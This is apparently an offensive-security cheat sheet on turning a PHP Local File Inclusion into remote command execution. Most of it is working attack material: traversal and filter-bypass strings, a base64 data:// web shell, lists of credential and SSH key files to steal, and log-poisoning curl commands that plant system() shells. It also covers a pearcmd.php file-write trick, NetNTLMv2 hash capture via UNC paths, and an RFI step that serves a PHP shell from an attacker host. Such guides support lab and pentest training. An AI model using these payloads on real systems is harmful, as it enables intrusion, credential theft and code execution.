LFI: from reading /etc/passwd to running commands
Local file inclusion step by step: path traversal and its bypasses, PHP wrappers, which files to read on Linux and Windows, and the routes to turn an LFI into RCE.
A Local File Inclusion shows up when the application builds a path from your input (?page=contact → include("pages/contact.php")) without checking it. With ../ you escape the folder and read, or even execute, other files on the server.
First of all, work out what you have:
- Read (
file_get_contents,readfile,send_file...): you see the content as is. Good for stealing files. - Include (
include,requirein PHP): the file is executed if it contains PHP code. This is the one that can end in RCE.
Detecting it
?page=../../../../../../etc/passwd
?page=/etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=%252e%252e%252fetc%252fpasswd
?page=../../../../etc/passwd%00
| Defence you see | Bypass |
|---|---|
../ stripped once |
....// (stripping it leaves ../) |
Literal ../ filtered |
URL encoding %2e%2e%2f or double %252e%252e%252f |
.php appended |
Wrappers (below) or a null byte %00 on PHP < 5.3.4 |
| Path must start with a folder | pages/../../../../etc/passwd |
To try lots of variants at once:
ffuf -u 'http://web/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
Tip
If you do not know the parameter name, fuzz it first: ffuf -u 'http://web/index.php?FUZZ=../../../../etc/passwd' -w burp-parameter-names.txt -fs <normal size>.
PHP wrappers
If the code is PHP, wrappers are your main tool.
# Read a .php file's source without it running (comes out base64)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config
# Run code (need allow_url_include=On, which is rare)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==&c=id
?page=php://input (with the PHP code in a POST body)
# With the expect extension installed (very rare)
?page=expect://id
Reading the source is almost always the next step: it gives you database credentials, other vulnerable routes or the exact names of the files it includes.
Which files to read
Linux
| File | Why |
|---|---|
/etc/passwd |
Users with a shell (and their home) |
/home/<user>/.ssh/id_rsa |
Private key: straight in over SSH |
/proc/self/environ, /proc/self/cmdline |
Environment and command line of the web process (sometimes with secrets) |
/proc/self/cwd/... |
Files relative to the application folder |
/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default |
Virtual hosts and where the code lives |
/var/www/html/config.php, .env, settings.py, application.properties |
Application credentials |
/proc/net/tcp |
Ports open only on localhost (in hex) |
Windows
| File | Why |
|---|---|
C:\Windows\win.ini |
Check that the LFI works |
C:\inetpub\wwwroot\web.config |
IIS config, sometimes with connection strings |
C:\xampp\apache\conf\httpd.conf, C:\xampp\php\php.ini |
XAMPP paths and config |
C:\Users\<user>\.ssh\id_rsa |
SSH keys |
Note
On Windows, a UNC path such as \\10.10.14.5\x\a.php makes the server connect to your SMB share. With Responder or impacket-smbserver you grab the NetNTLMv2 hash of the account running the web app.
From LFI to RCE
Log poisoning
If you can include the web server log, write PHP into it (for example in the User-Agent) and then include it:
curl -A '<?php system($_GET["c"]); ?>' http://web/
curl 'http://web/index.php?page=/var/log/apache2/access.log&c=id'
Usual logs: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log (injecting into the username of a failed SSH login) or /var/log/vsftpd.log.
Warning
If your PHP has a syntax error, the log is "broken" and every later inclusion fails. Get the payload right first time.
PHP sessions
If something you control is stored in the session (username, language...), it lives in /var/lib/php/sessions/sess_<PHPSESSID>. Put PHP in that value and include the file.
PHP filter chains
By chaining convert.iconv filters in php://filter you can build any text, PHP code included, without uploading anything. All you need is an include with a controlled path:
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
The tool (by Synacktiv) gives you a huge string you paste as the parameter value.
Upload a file and include it
If there is a file upload (a profile picture, an attachment), even one that only takes images, you can upload a file with PHP inside and include it by its path. If the extension gets changed, the zip:// and phar:// wrappers let you include a PHP file from inside a ZIP:
?page=zip:///var/www/html/uploads/avatar.jpg%23shell.php
pearcmd.php
Many official PHP Docker images ship /usr/local/lib/php/pearcmd.php with register_argc_argv on. Including it with arguments in the URL lets you write a file with your code:
?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET['c'])?>+/tmp/c.php
(Send it with Burp or curl, since a browser would encode < and ?.) Then ?page=/tmp/c.php&c=id.
RFI
If allow_url_include is on (or on Windows, with UNC paths), you can include a file of your own directly:
echo '<?php system($_GET["c"]); ?>' > s.php && python3 -m http.server 80
# ?page=http://10.10.14.5/s.php&c=id
See the RFI machines for real cases.